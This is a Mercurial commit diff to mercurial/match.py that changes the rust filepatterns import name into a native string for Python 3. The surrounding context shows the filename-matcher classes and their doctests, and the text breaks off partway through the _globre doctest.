py3: do not convert rust module/attribute names to bytes

policy.import*() functions expect system strings.

mercurial/match.py

@@ -1,1526 +1,1526 b''
 # match.py - filename matching
 #
 #  Copyright 2008, 2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import, print_function
 
 import copy
 import itertools
 import os
 import re
 
 from .i18n import _
 from . import (
     encoding,
     error,
     pathutil,
     policy,
     pycompat,
     util,
 )
 from .utils import (
     stringutil,
 )
 
-rustmod = policy.importrust('filepatterns')
+rustmod = policy.importrust(r'filepatterns')
 
 allpatternkinds = ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
                    'rootglob',
                    'listfile', 'listfile0', 'set', 'include', 'subinclude',
                    'rootfilesin')
 cwdrelativepatternkinds = ('relpath', 'glob')
 
 propertycache = util.propertycache
 
 def _rematcher(regex):
     '''compile the regexp with the best available regexp engine and return a
     matcher function'''
     m = util.re.compile(regex)
     try:
         # slightly faster, provided by facebook's re2 bindings
         return m.test_match
     except AttributeError:
         return m.match
 
 def _expandsets(kindpats, ctx=None, listsubrepos=False, badfn=None):
     '''Returns the kindpats list with the 'set' patterns expanded to matchers'''
     matchers = []
     other = []
 
     for kind, pat, source in kindpats:
         if kind == 'set':
             if ctx is None:
                 raise error.ProgrammingError("fileset expression with no "
                                              "context")
             matchers.append(ctx.matchfileset(pat, badfn=badfn))
 
             if listsubrepos:
                 for subpath in ctx.substate:
                     sm = ctx.sub(subpath).matchfileset(pat, badfn=badfn)
                     pm = prefixdirmatcher(subpath, sm, badfn=badfn)
                     matchers.append(pm)
 
             continue
         other.append((kind, pat, source))
     return matchers, other
 
 def _expandsubinclude(kindpats, root):
     '''Returns the list of subinclude matcher args and the kindpats without the
     subincludes in it.'''
     relmatchers = []
     other = []
 
     for kind, pat, source in kindpats:
         if kind == 'subinclude':
             sourceroot = pathutil.dirname(util.normpath(source))
             pat = util.pconvert(pat)
             path = pathutil.join(sourceroot, pat)
 
             newroot = pathutil.dirname(path)
             matcherargs = (newroot, '', [], ['include:%s' % path])
 
             prefix = pathutil.canonpath(root, root, newroot)
             if prefix:
                 prefix += '/'
             relmatchers.append((prefix, matcherargs))
         else:
             other.append((kind, pat, source))
 
     return relmatchers, other
 
 def _kindpatsalwaysmatch(kindpats):
     """"Checks whether the kindspats match everything, as e.g.
     'relpath:.' does.
     """
     for kind, pat, source in kindpats:
         if pat != '' or kind not in ['relpath', 'glob']:
             return False
     return True
 
 def _buildkindpatsmatcher(matchercls, root, kindpats, ctx=None,
                           listsubrepos=False, badfn=None):
     matchers = []
     fms, kindpats = _expandsets(kindpats, ctx=ctx,
                                 listsubrepos=listsubrepos, badfn=badfn)
     if kindpats:
         m = matchercls(root, kindpats, badfn=badfn)
         matchers.append(m)
     if fms:
         matchers.extend(fms)
     if not matchers:
         return nevermatcher(badfn=badfn)
     if len(matchers) == 1:
         return matchers[0]
     return unionmatcher(matchers)
 
 def match(root, cwd, patterns=None, include=None, exclude=None, default='glob',
           auditor=None, ctx=None, listsubrepos=False, warn=None,
           badfn=None, icasefs=False):
     r"""build an object to match a set of file patterns
 
     arguments:
     root - the canonical root of the tree you're matching against
     cwd - the current working directory, if relevant
     patterns - patterns to find
     include - patterns to include (unless they are excluded)
     exclude - patterns to exclude (even if they are included)
     default - if a pattern in patterns has no explicit type, assume this one
     auditor - optional path auditor
     ctx - optional changecontext
     listsubrepos - if True, recurse into subrepositories
     warn - optional function used for printing warnings
     badfn - optional bad() callback for this matcher instead of the default
     icasefs - make a matcher for wdir on case insensitive filesystems, which
         normalizes the given patterns to the case in the filesystem
 
     a pattern is one of:
     'glob:<glob>' - a glob relative to cwd
     're:<regexp>' - a regular expression
     'path:<path>' - a path relative to repository root, which is matched
                     recursively
     'rootfilesin:<path>' - a path relative to repository root, which is
                     matched non-recursively (will not match subdirectories)
     'relglob:<glob>' - an unrooted glob (*.c matches C files in all dirs)
     'relpath:<path>' - a path relative to cwd
     'relre:<regexp>' - a regexp that needn't match the start of a name
     'set:<fileset>' - a fileset expression
     'include:<path>' - a file of patterns to read and include
     'subinclude:<path>' - a file of patterns to match against files under
                           the same directory
     '<something>' - a pattern of the specified default type
 
     Usually a patternmatcher is returned:
     >>> match(b'foo', b'.', [b're:.*\.c$', b'path:foo/a', b'*.py'])
     <patternmatcher patterns='.*\\.c$|foo/a(?:/|$)|[^/]*\\.py$'>
 
     Combining 'patterns' with 'include' (resp. 'exclude') gives an
     intersectionmatcher (resp. a differencematcher):
     >>> type(match(b'foo', b'.', [b're:.*\.c$'], include=[b'path:lib']))
     <class 'mercurial.match.intersectionmatcher'>
     >>> type(match(b'foo', b'.', [b're:.*\.c$'], exclude=[b'path:build']))
     <class 'mercurial.match.differencematcher'>
 
     Notice that, if 'patterns' is empty, an alwaysmatcher is returned:
     >>> match(b'foo', b'.', [])
     <alwaysmatcher>
 
     The 'default' argument determines which kind of pattern is assumed if a
     pattern has no prefix:
     >>> match(b'foo', b'.', [b'.*\.c$'], default=b're')
     <patternmatcher patterns='.*\\.c$'>
     >>> match(b'foo', b'.', [b'main.py'], default=b'relpath')
     <patternmatcher patterns='main\\.py(?:/|$)'>
     >>> match(b'foo', b'.', [b'main.py'], default=b're')
     <patternmatcher patterns='main.py'>
 
     The primary use of matchers is to check whether a value (usually a file
     name) matches againset one of the patterns given at initialization. There
     are two ways of doing this check.
 
     >>> m = match(b'foo', b'', [b're:.*\.c$', b'relpath:a'])
 
     1. Calling the matcher with a file name returns True if any pattern
     matches that file name:
     >>> m(b'a')
     True
     >>> m(b'main.c')
     True
     >>> m(b'test.py')
     False
 
     2. Using the exact() method only returns True if the file name matches one
     of the exact patterns (i.e. not re: or glob: patterns):
     >>> m.exact(b'a')
     True
     >>> m.exact(b'main.c')
     False
     """
     normalize = _donormalize
     if icasefs:
         dirstate = ctx.repo().dirstate
         dsnormalize = dirstate.normalize
 
         def normalize(patterns, default, root, cwd, auditor, warn):
             kp = _donormalize(patterns, default, root, cwd, auditor, warn)
             kindpats = []
             for kind, pats, source in kp:
                 if kind not in ('re', 'relre'):  # regex can't be normalized
                     p = pats
                     pats = dsnormalize(pats)
 
                     # Preserve the original to handle a case only rename.
                     if p != pats and p in dirstate:
                         kindpats.append((kind, p, source))
 
                 kindpats.append((kind, pats, source))
             return kindpats
 
     if patterns:
         kindpats = normalize(patterns, default, root, cwd, auditor, warn)
         if _kindpatsalwaysmatch(kindpats):
             m = alwaysmatcher(badfn)
         else:
             m = _buildkindpatsmatcher(patternmatcher, root, kindpats, ctx=ctx,
                                       listsubrepos=listsubrepos, badfn=badfn)
     else:
         # It's a little strange that no patterns means to match everything.
         # Consider changing this to match nothing (probably using nevermatcher).
         m = alwaysmatcher(badfn)
 
     if include:
         kindpats = normalize(include, 'glob', root, cwd, auditor, warn)
         im = _buildkindpatsmatcher(includematcher, root, kindpats, ctx=ctx,
                                    listsubrepos=listsubrepos, badfn=None)
         m = intersectmatchers(m, im)
     if exclude:
         kindpats = normalize(exclude, 'glob', root, cwd, auditor, warn)
         em = _buildkindpatsmatcher(includematcher, root, kindpats, ctx=ctx,
                                    listsubrepos=listsubrepos, badfn=None)
         m = differencematcher(m, em)
     return m
 
 def exact(files, badfn=None):
     return exactmatcher(files, badfn=badfn)
 
 def always(badfn=None):
     return alwaysmatcher(badfn)
 
 def never(badfn=None):
     return nevermatcher(badfn)
 
 def badmatch(match, badfn):
     """Make a copy of the given matcher, replacing its bad method with the given
     one.
     """
     m = copy.copy(match)
     m.bad = badfn
     return m
 
 def _donormalize(patterns, default, root, cwd, auditor=None, warn=None):
     '''Convert 'kind:pat' from the patterns list to tuples with kind and
     normalized and rooted patterns and with listfiles expanded.'''
     kindpats = []
     for kind, pat in [_patsplit(p, default) for p in patterns]:
         if kind in cwdrelativepatternkinds:
             pat = pathutil.canonpath(root, cwd, pat, auditor=auditor)
         elif kind in ('relglob', 'path', 'rootfilesin', 'rootglob'):
             pat = util.normpath(pat)
         elif kind in ('listfile', 'listfile0'):
             try:
                 files = util.readfile(pat)
                 if kind == 'listfile0':
                     files = files.split('\0')
                 else:
                     files = files.splitlines()
                 files = [f for f in files if f]
             except EnvironmentError:
                 raise error.Abort(_("unable to read file list (%s)") % pat)
             for k, p, source in _donormalize(files, default, root, cwd,
                                              auditor, warn):
                 kindpats.append((k, p, pat))
             continue
         elif kind == 'include':
             try:
                 fullpath = os.path.join(root, util.localpath(pat))
                 includepats = readpatternfile(fullpath, warn)
                 for k, p, source in _donormalize(includepats, default,
                                                  root, cwd, auditor, warn):
                     kindpats.append((k, p, source or pat))
             except error.Abort as inst:
                 raise error.Abort('%s: %s' % (pat, inst[0]))
             except IOError as inst:
                 if warn:
                     warn(_("skipping unreadable pattern file '%s': %s\n") %
                          (pat, stringutil.forcebytestr(inst.strerror)))
             continue
         # else: re or relre - which cannot be normalized
         kindpats.append((kind, pat, ''))
     return kindpats
 
 class basematcher(object):
 
     def __init__(self, badfn=None):
         if badfn is not None:
             self.bad = badfn
 
     def __call__(self, fn):
         return self.matchfn(fn)
     # Callbacks related to how the matcher is used by dirstate.walk.
     # Subscribers to these events must monkeypatch the matcher object.
     def bad(self, f, msg):
         '''Callback from dirstate.walk for each explicit file that can't be
         found/accessed, with an error message.'''
 
     # If an explicitdir is set, it will be called when an explicitly listed
     # directory is visited.
     explicitdir = None
 
     # If an traversedir is set, it will be called when a directory discovered
     # by recursive traversal is visited.
     traversedir = None
 
     @propertycache
     def _files(self):
         return []
 
     def files(self):
         '''Explicitly listed files or patterns or roots:
         if no patterns or .always(): empty list,
         if exact: list exact files,
         if not .anypats(): list all files and dirs,
         else: optimal roots'''
         return self._files
 
     @propertycache
     def _fileset(self):
         return set(self._files)
 
     def exact(self, f):
         '''Returns True if f is in .files().'''
         return f in self._fileset
 
     def matchfn(self, f):
         return False
 
     def visitdir(self, dir):
         '''Decides whether a directory should be visited based on whether it
         has potential matches in it or one of its subdirectories. This is
         based on the match's primary, included, and excluded patterns.
 
         Returns the string 'all' if the given directory and all subdirectories
         should be visited. Otherwise returns True or False indicating whether
         the given directory should be visited.
         '''
         return True
 
     def visitchildrenset(self, dir):
         '''Decides whether a directory should be visited based on whether it
         has potential matches in it or one of its subdirectories, and
         potentially lists which subdirectories of that directory should be
         visited. This is based on the match's primary, included, and excluded
         patterns.
 
         This function is very similar to 'visitdir', and the following mapping
         can be applied:
 
              visitdir | visitchildrenlist
             ----------+-------------------
              False    | set()
              'all'    | 'all'
              True     | 'this' OR non-empty set of subdirs -or files- to visit
 
         Example:
           Assume matchers ['path:foo/bar', 'rootfilesin:qux'], we would return
           the following values (assuming the implementation of visitchildrenset
           is capable of recognizing this; some implementations are not).
 
           '' -> {'foo', 'qux'}
           'baz' -> set()
           'foo' -> {'bar'}
           # Ideally this would be 'all', but since the prefix nature of matchers
           # is applied to the entire matcher, we have to downgrade this to
           # 'this' due to the non-prefix 'rootfilesin'-kind matcher being mixed
           # in.
           'foo/bar' -> 'this'
           'qux' -> 'this'
 
         Important:
           Most matchers do not know if they're representing files or
           directories. They see ['path:dir/f'] and don't know whether 'f' is a
           file or a directory, so visitchildrenset('dir') for most matchers will
           return {'f'}, but if the matcher knows it's a file (like exactmatcher
           does), it may return 'this'. Do not rely on the return being a set
           indicating that there are no files in this dir to investigate (or
           equivalently that if there are files to investigate in 'dir' that it
           will always return 'this').
         '''
         return 'this'
 
     def always(self):
         '''Matcher will match everything and .files() will be empty --
         optimization might be possible.'''
         return False
 
     def isexact(self):
         '''Matcher will match exactly the list of files in .files() --
         optimization might be possible.'''
         return False
 
     def prefix(self):
         '''Matcher will match the paths in .files() recursively --
         optimization might be possible.'''
         return False
 
     def anypats(self):
         '''None of .always(), .isexact(), and .prefix() is true --
         optimizations will be difficult.'''
         return not self.always() and not self.isexact() and not self.prefix()
 
 class alwaysmatcher(basematcher):
     '''Matches everything.'''
 
     def __init__(self, badfn=None):
         super(alwaysmatcher, self).__init__(badfn)
 
     def always(self):
         return True
 
     def matchfn(self, f):
         return True
 
     def visitdir(self, dir):
         return 'all'
 
     def visitchildrenset(self, dir):
         return 'all'
 
     def __repr__(self):
         return r'<alwaysmatcher>'
 
 class nevermatcher(basematcher):
     '''Matches nothing.'''
 
     def __init__(self, badfn=None):
         super(nevermatcher, self).__init__(badfn)
 
     # It's a little weird to say that the nevermatcher is an exact matcher
     # or a prefix matcher, but it seems to make sense to let callers take
     # fast paths based on either. There will be no exact matches, nor any
     # prefixes (files() returns []), so fast paths iterating over them should
     # be efficient (and correct).
     def isexact(self):
         return True
 
     def prefix(self):
         return True
 
     def visitdir(self, dir):
         return False
 
     def visitchildrenset(self, dir):
         return set()
 
     def __repr__(self):
         return r'<nevermatcher>'
 
 class predicatematcher(basematcher):
     """A matcher adapter for a simple boolean function"""
 
     def __init__(self, predfn, predrepr=None, badfn=None):
         super(predicatematcher, self).__init__(badfn)
         self.matchfn = predfn
         self._predrepr = predrepr
 
     @encoding.strmethod
     def __repr__(self):
         s = (stringutil.buildrepr(self._predrepr)
              or pycompat.byterepr(self.matchfn))
         return '<predicatenmatcher pred=%s>' % s
 
 def normalizerootdir(dir, funcname):
     if dir == '.':
         util.nouideprecwarn("match.%s() no longer accepts "
                             "'.', use '' instead." % funcname, '5.1')
         return ''
     return dir
 
 
 class patternmatcher(basematcher):
     """Matches a set of (kind, pat, source) against a 'root' directory.
 
     >>> kindpats = [
     ...     (b're', br'.*\.c$', b''),
     ...     (b'path', b'foo/a', b''),
     ...     (b'relpath', b'b', b''),
     ...     (b'glob', b'*.h', b''),
     ... ]
     >>> m = patternmatcher(b'foo', kindpats)
     >>> m(b'main.c')  # matches re:.*\.c$
     True
     >>> m(b'b.txt')
     False
     >>> m(b'foo/a')  # matches path:foo/a
     True
     >>> m(b'a')  # does not match path:b, since 'root' is 'foo'
     False
     >>> m(b'b')  # matches relpath:b, since 'root' is 'foo'
     True
     >>> m(b'lib.h')  # matches glob:*.h
     True
 
     >>> m.files()
     ['', 'foo/a', 'b', '']
     >>> m.exact(b'foo/a')
     True
     >>> m.exact(b'b')
     True
     >>> m.exact(b'lib.h')  # exact matches are for (rel)path kinds
     False
     """
 
     def __init__(self, root, kindpats, badfn=None):
         super(patternmatcher, self).__init__(badfn)
 
         self._files = _explicitfiles(kindpats)
         self._prefix = _prefix(kindpats)
         self._pats, self.matchfn = _buildmatch(kindpats, '$', root)
 
     @propertycache
     def _dirs(self):
         return set(util.dirs(self._fileset))
 
     def visitdir(self, dir):
         dir = normalizerootdir(dir, 'visitdir')
         if self._prefix and dir in self._fileset:
             return 'all'
         return (dir in self._fileset or
                 dir in self._dirs or
                 any(parentdir in self._fileset
                     for parentdir in util.finddirs(dir)))
 
     def visitchildrenset(self, dir):
         ret = self.visitdir(dir)
         if ret is True:
             return 'this'
         elif not ret:
             return set()
         assert ret == 'all'
         return 'all'
 
     def prefix(self):
         return self._prefix
 
     @encoding.strmethod
     def __repr__(self):
         return ('<patternmatcher patterns=%r>' % pycompat.bytestr(self._pats))
 
 # This is basically a reimplementation of util.dirs that stores the children
 # instead of just a count of them, plus a small optional optimization to avoid
 # some directories we don't need.
 class _dirchildren(object):
     def __init__(self, paths, onlyinclude=None):
         self._dirs = {}
         self._onlyinclude = onlyinclude or []
         addpath = self.addpath
         for f in paths:
             addpath(f)
 
     def addpath(self, path):
         if path == '':
             return
         dirs = self._dirs
         findsplitdirs = _dirchildren._findsplitdirs
         for d, b in findsplitdirs(path):
             if d not in self._onlyinclude:
                 continue
             dirs.setdefault(d, set()).add(b)
 
     @staticmethod
     def _findsplitdirs(path):
         # yields (dirname, basename) tuples, walking back to the root.  This is
         # very similar to util.finddirs, except:
         #  - produces a (dirname, basename) tuple, not just 'dirname'
         # Unlike manifest._splittopdir, this does not suffix `dirname` with a
         # slash.
         oldpos = len(path)
         pos = path.rfind('/')
         while pos != -1:
             yield path[:pos], path[pos + 1:oldpos]
             oldpos = pos
             pos = path.rfind('/', 0, pos)
         yield '', path[:oldpos]
 
     def get(self, path):
         return self._dirs.get(path, set())
 
 class includematcher(basematcher):
 
     def __init__(self, root, kindpats, badfn=None):
         super(includematcher, self).__init__(badfn)
 
         self._pats, self.matchfn = _buildmatch(kindpats, '(?:/|$)', root)
         self._prefix = _prefix(kindpats)
         roots, dirs, parents = _rootsdirsandparents(kindpats)
         # roots are directories which are recursively included.
         self._roots = set(roots)
         # dirs are directories which are non-recursively included.
         self._dirs = set(dirs)
         # parents are directories which are non-recursively included because
         # they are needed to get to items in _dirs or _roots.
         self._parents = parents
 
     def visitdir(self, dir):
         dir = normalizerootdir(dir, 'visitdir')
         if self._prefix and dir in self._roots:
             return 'all'
         return (dir in self._roots or
                 dir in self._dirs or
                 dir in self._parents or
                 any(parentdir in self._roots
                     for parentdir in util.finddirs(dir)))
 
     @propertycache
     def _allparentschildren(self):
         # It may seem odd that we add dirs, roots, and parents, and then
         # restrict to only parents. This is to catch the case of:
         #   dirs = ['foo/bar']
         #   parents = ['foo']
         # if we asked for the children of 'foo', but had only added
         # self._parents, we wouldn't be able to respond ['bar'].
         return _dirchildren(
                 itertools.chain(self._dirs, self._roots, self._parents),
                 onlyinclude=self._parents)
 
     def visitchildrenset(self, dir):
         if self._prefix and dir in self._roots:
             return 'all'
         # Note: this does *not* include the 'dir in self._parents' case from
         # visitdir, that's handled below.
         if ('' in self._roots or
             dir in self._roots or
             dir in self._dirs or
             any(parentdir in self._roots
                 for parentdir in util.finddirs(dir))):
             return 'this'
 
         if dir in self._parents:
             return self._allparentschildren.get(dir) or set()
         return set()
 
     @encoding.strmethod
     def __repr__(self):
         return ('<includematcher includes=%r>' % pycompat.bytestr(self._pats))
 
 class exactmatcher(basematcher):
     r'''Matches the input files exactly. They are interpreted as paths, not
     patterns (so no kind-prefixes).
 
     >>> m = exactmatcher([b'a.txt', br're:.*\.c$'])
     >>> m(b'a.txt')
     True
     >>> m(b'b.txt')
     False
 
     Input files that would be matched are exactly those returned by .files()
     >>> m.files()
     ['a.txt', 're:.*\\.c$']
 
     So pattern 're:.*\.c$' is not considered as a regex, but as a file name
     >>> m(b'main.c')
     False
     >>> m(br're:.*\.c$')
     True
     '''
 
     def __init__(self, files, badfn=None):
         super(exactmatcher, self).__init__(badfn)
 
         if isinstance(files, list):
             self._files = files
         else:
             self._files = list(files)
 
     matchfn = basematcher.exact
 
     @propertycache
     def _dirs(self):
         return set(util.dirs(self._fileset))
 
     def visitdir(self, dir):
         dir = normalizerootdir(dir, 'visitdir')
         return dir in self._dirs
 
     def visitchildrenset(self, dir):
         dir = normalizerootdir(dir, 'visitchildrenset')
 
         if not self._fileset or dir not in self._dirs:
             return set()
 
         candidates = self._fileset | self._dirs - {''}
         if dir != '':
             d = dir + '/'
             candidates = set(c[len(d):] for c in candidates if
                              c.startswith(d))
         # self._dirs includes all of the directories, recursively, so if
         # we're attempting to match foo/bar/baz.txt, it'll have '', 'foo',
         # 'foo/bar' in it. Thus we can safely ignore a candidate that has a
         # '/' in it, indicating a it's for a subdir-of-a-subdir; the
         # immediate subdir will be in there without a slash.
         ret = {c for c in candidates if '/' not in c}
         # We really do not expect ret to be empty, since that would imply that
         # there's something in _dirs that didn't have a file in _fileset.
         assert ret
         return ret
 
     def isexact(self):
         return True
 
     @encoding.strmethod
     def __repr__(self):
         return ('<exactmatcher files=%r>' % self._files)
 
 class differencematcher(basematcher):
     '''Composes two matchers by matching if the first matches and the second
     does not.
 
     The second matcher's non-matching-attributes (bad, explicitdir,
     traversedir) are ignored.
     '''
     def __init__(self, m1, m2):
         super(differencematcher, self).__init__()
         self._m1 = m1
         self._m2 = m2
         self.bad = m1.bad
         self.explicitdir = m1.explicitdir
         self.traversedir = m1.traversedir
 
     def matchfn(self, f):
         return self._m1(f) and not self._m2(f)
 
     @propertycache
     def _files(self):
         if self.isexact():
             return [f for f in self._m1.files() if self(f)]
         # If m1 is not an exact matcher, we can't easily figure out the set of
         # files, because its files() are not always files. For example, if
         # m1 is "path:dir" and m2 is "rootfileins:.", we don't
         # want to remove "dir" from the set even though it would match m2,
         # because the "dir" in m1 may not be a file.
         return self._m1.files()
 
     def visitdir(self, dir):
         if self._m2.visitdir(dir) == 'all':
             return False
         elif not self._m2.visitdir(dir):
             # m2 does not match dir, we can return 'all' here if possible
             return self._m1.visitdir(dir)
         return bool(self._m1.visitdir(dir))
 
     def visitchildrenset(self, dir):
         m2_set = self._m2.visitchildrenset(dir)
         if m2_set == 'all':
             return set()
         m1_set = self._m1.visitchildrenset(dir)
         # Possible values for m1: 'all', 'this', set(...), set()
         # Possible values for m2:        'this', set(...), set()
         # If m2 has nothing under here that we care about, return m1, even if
         # it's 'all'. This is a change in behavior from visitdir, which would
         # return True, not 'all', for some reason.
         if not m2_set:
             return m1_set
         if m1_set in ['all', 'this']:
             # Never return 'all' here if m2_set is any kind of non-empty (either
             # 'this' or set(foo)), since m2 might return set() for a
             # subdirectory.
             return 'this'
         # Possible values for m1:         set(...), set()
         # Possible values for m2: 'this', set(...)
         # We ignore m2's set results. They're possibly incorrect:
         #  m1 = path:dir/subdir, m2=rootfilesin:dir, visitchildrenset(''):
         #    m1 returns {'dir'}, m2 returns {'dir'}, if we subtracted we'd
         #    return set(), which is *not* correct, we still need to visit 'dir'!
         return m1_set
 
     def isexact(self):
         return self._m1.isexact()
 
     @encoding.strmethod
     def __repr__(self):
         return ('<differencematcher m1=%r, m2=%r>' % (self._m1, self._m2))
 
 def intersectmatchers(m1, m2):
     '''Composes two matchers by matching if both of them match.
 
     The second matcher's non-matching-attributes (bad, explicitdir,
     traversedir) are ignored.
     '''
     if m1 is None or m2 is None:
         return m1 or m2
     if m1.always():
         m = copy.copy(m2)
         # TODO: Consider encapsulating these things in a class so there's only
         # one thing to copy from m1.
         m.bad = m1.bad
         m.explicitdir = m1.explicitdir
         m.traversedir = m1.traversedir
         return m
     if m2.always():
         m = copy.copy(m1)
         return m
     return intersectionmatcher(m1, m2)
 
 class intersectionmatcher(basematcher):
     def __init__(self, m1, m2):
         super(intersectionmatcher, self).__init__()
         self._m1 = m1
         self._m2 = m2
         self.bad = m1.bad
         self.explicitdir = m1.explicitdir
         self.traversedir = m1.traversedir
 
     @propertycache
     def _files(self):
         if self.isexact():
             m1, m2 = self._m1, self._m2
             if not m1.isexact():
                 m1, m2 = m2, m1
             return [f for f in m1.files() if m2(f)]
         # It neither m1 nor m2 is an exact matcher, we can't easily intersect
         # the set of files, because their files() are not always files. For
         # example, if intersecting a matcher "-I glob:foo.txt" with matcher of
         # "path:dir2", we don't want to remove "dir2" from the set.
         return self._m1.files() + self._m2.files()
 
     def matchfn(self, f):
         return self._m1(f) and self._m2(f)
 
     def visitdir(self, dir):
         visit1 = self._m1.visitdir(dir)
         if visit1 == 'all':
             return self._m2.visitdir(dir)
         # bool() because visit1=True + visit2='all' should not be 'all'
         return bool(visit1 and self._m2.visitdir(dir))
 
     def visitchildrenset(self, dir):
         m1_set = self._m1.visitchildrenset(dir)
         if not m1_set:
             return set()
         m2_set = self._m2.visitchildrenset(dir)
         if not m2_set:
             return set()
 
         if m1_set == 'all':
             return m2_set
         elif m2_set == 'all':
             return m1_set
 
         if m1_set == 'this' or m2_set == 'this':
             return 'this'
 
         assert isinstance(m1_set, set) and isinstance(m2_set, set)
         return m1_set.intersection(m2_set)
 
     def always(self):
         return self._m1.always() and self._m2.always()
 
     def isexact(self):
         return self._m1.isexact() or self._m2.isexact()
 
     @encoding.strmethod
     def __repr__(self):
         return ('<intersectionmatcher m1=%r, m2=%r>' % (self._m1, self._m2))
 
 class subdirmatcher(basematcher):
     """Adapt a matcher to work on a subdirectory only.
 
     The paths are remapped to remove/insert the path as needed:
 
     >>> from . import pycompat
     >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
     >>> m2 = subdirmatcher(b'sub', m1)
     >>> m2(b'a.txt')
     False
     >>> m2(b'b.txt')
     True
     >>> m2.matchfn(b'a.txt')
     False
     >>> m2.matchfn(b'b.txt')
     True
     >>> m2.files()
     ['b.txt']
     >>> m2.exact(b'b.txt')
     True
     >>> def bad(f, msg):
     ...     print(pycompat.sysstr(b"%s: %s" % (f, msg)))
     >>> m1.bad = bad
     >>> m2.bad(b'x.txt', b'No such file')
     sub/x.txt: No such file
     """
 
     def __init__(self, path, matcher):
         super(subdirmatcher, self).__init__()
         self._path = path
         self._matcher = matcher
         self._always = matcher.always()
 
         self._files = [f[len(path) + 1:] for f in matcher._files
                        if f.startswith(path + "/")]
 
         # If the parent repo had a path to this subrepo and the matcher is
         # a prefix matcher, this submatcher always matches.
         if matcher.prefix():
             self._always = any(f == path for f in matcher._files)
 
     def bad(self, f, msg):
         self._matcher.bad(self._path + "/" + f, msg)
 
     def matchfn(self, f):
         # Some information is lost in the superclass's constructor, so we
         # can not accurately create the matching function for the subdirectory
         # from the inputs. Instead, we override matchfn() and visitdir() to
         # call the original matcher with the subdirectory path prepended.
         return self._matcher.matchfn(self._path + "/" + f)
 
     def visitdir(self, dir):
         dir = normalizerootdir(dir, 'visitdir')
         if dir == '':
             dir = self._path
         else:
             dir = self._path + "/" + dir
         return self._matcher.visitdir(dir)
 
     def visitchildrenset(self, dir):
         dir = normalizerootdir(dir, 'visitchildrenset')
         if dir == '':
             dir = self._path
         else:
             dir = self._path + "/" + dir
         return self._matcher.visitchildrenset(dir)
 
     def always(self):
         return self._always
 
     def prefix(self):
         return self._matcher.prefix() and not self._always
 
     @encoding.strmethod
     def __repr__(self):
         return ('<subdirmatcher path=%r, matcher=%r>' %
                 (self._path, self._matcher))
 
 class prefixdirmatcher(basematcher):
     """Adapt a matcher to work on a parent directory.
 
     The matcher's non-matching-attributes (bad, explicitdir, traversedir) are
     ignored.
 
     The prefix path should usually be the relative path from the root of
     this matcher to the root of the wrapped matcher.
 
     >>> m1 = match(util.localpath(b'root/d/e'), b'f', [b'../a.txt', b'b.txt'])
     >>> m2 = prefixdirmatcher(b'd/e', m1)
     >>> m2(b'a.txt')
     False
     >>> m2(b'd/e/a.txt')
     True
     >>> m2(b'd/e/b.txt')
     False
     >>> m2.files()
     ['d/e/a.txt', 'd/e/f/b.txt']
     >>> m2.exact(b'd/e/a.txt')
     True
     >>> m2.visitdir(b'd')
     True
     >>> m2.visitdir(b'd/e')
     True
     >>> m2.visitdir(b'd/e/f')
     True
     >>> m2.visitdir(b'd/e/g')
     False
     >>> m2.visitdir(b'd/ef')
     False
     """
 
     def __init__(self, path, matcher, badfn=None):
         super(prefixdirmatcher, self).__init__(badfn)
         if not path:
             raise error.ProgrammingError('prefix path must not be empty')
         self._path = path
         self._pathprefix = path + '/'
         self._matcher = matcher
 
     @propertycache
     def _files(self):
         return [self._pathprefix + f for f in self._matcher._files]
 
     def matchfn(self, f):
         if not f.startswith(self._pathprefix):
             return False
         return self._matcher.matchfn(f[len(self._pathprefix):])
 
     @propertycache
     def _pathdirs(self):
         return set(util.finddirs(self._path))
 
     def visitdir(self, dir):
         if dir == self._path:
             return self._matcher.visitdir('')
         if dir.startswith(self._pathprefix):
             return self._matcher.visitdir(dir[len(self._pathprefix):])
         return dir in self._pathdirs
 
     def visitchildrenset(self, dir):
         if dir == self._path:
             return self._matcher.visitchildrenset('')
         if dir.startswith(self._pathprefix):
             return self._matcher.visitchildrenset(dir[len(self._pathprefix):])
         if dir in self._pathdirs:
             return 'this'
         return set()
 
     def isexact(self):
         return self._matcher.isexact()
 
     def prefix(self):
         return self._matcher.prefix()
 
     @encoding.strmethod
     def __repr__(self):
         return ('<prefixdirmatcher path=%r, matcher=%r>'
                 % (pycompat.bytestr(self._path), self._matcher))
 
 class unionmatcher(basematcher):
     """A matcher that is the union of several matchers.
 
     The non-matching-attributes (bad, explicitdir, traversedir) are taken from
     the first matcher.
     """
 
     def __init__(self, matchers):
         m1 = matchers[0]
         super(unionmatcher, self).__init__()
         self.explicitdir = m1.explicitdir
         self.traversedir = m1.traversedir
         self._matchers = matchers
 
     def matchfn(self, f):
         for match in self._matchers:
             if match(f):
                 return True
         return False
 
     def visitdir(self, dir):
         r = False
         for m in self._matchers:
             v = m.visitdir(dir)
             if v == 'all':
                 return v
             r |= v
         return r
 
     def visitchildrenset(self, dir):
         r = set()
         this = False
         for m in self._matchers:
             v = m.visitchildrenset(dir)
             if not v:
                 continue
             if v == 'all':
                 return v
             if this or v == 'this':
                 this = True
                 # don't break, we might have an 'all' in here.
                 continue
             assert isinstance(v, set)
             r = r.union(v)
         if this:
             return 'this'
         return r
 
     @encoding.strmethod
     def __repr__(self):
         return ('<unionmatcher matchers=%r>' % self._matchers)
 
 def patkind(pattern, default=None):
     '''If pattern is 'kind:pat' with a known kind, return kind.
 
     >>> patkind(br're:.*\.c$')
     're'
     >>> patkind(b'glob:*.c')
     'glob'
     >>> patkind(b'relpath:test.py')
     'relpath'
     >>> patkind(b'main.py')
     >>> patkind(b'main.py', default=b're')
     're'
     '''
     return _patsplit(pattern, default)[0]
 
 def _patsplit(pattern, default):
     """Split a string into the optional pattern kind prefix and the actual
     pattern."""
     if ':' in pattern:
         kind, pat = pattern.split(':', 1)
         if kind in allpatternkinds:
             return kind, pat
     return default, pattern
 
 def _globre(pat):
     r'''Convert an extended glob string to a regexp string.
 
     >>> from . import pycompat
     >>> def bprint(s):
     ...     print(pycompat.sysstr(s))
     >>> bprint(_globre(br'?'))
     .
     >>> bprint(_globre(br'*'))
     [^/]*
     >>> bprint(_globre(br'**'))
     .*
     >>> bprint(_globre(br'**/a'))
     (?:.*/)?a
     >>> bprint(_globre(br'a/**/b'))
     a/(?:.*/)?b
     >>> bprint(_globre(br'[a*?!^][^b][!c]'))
     [a*?!^][\^b][^c]
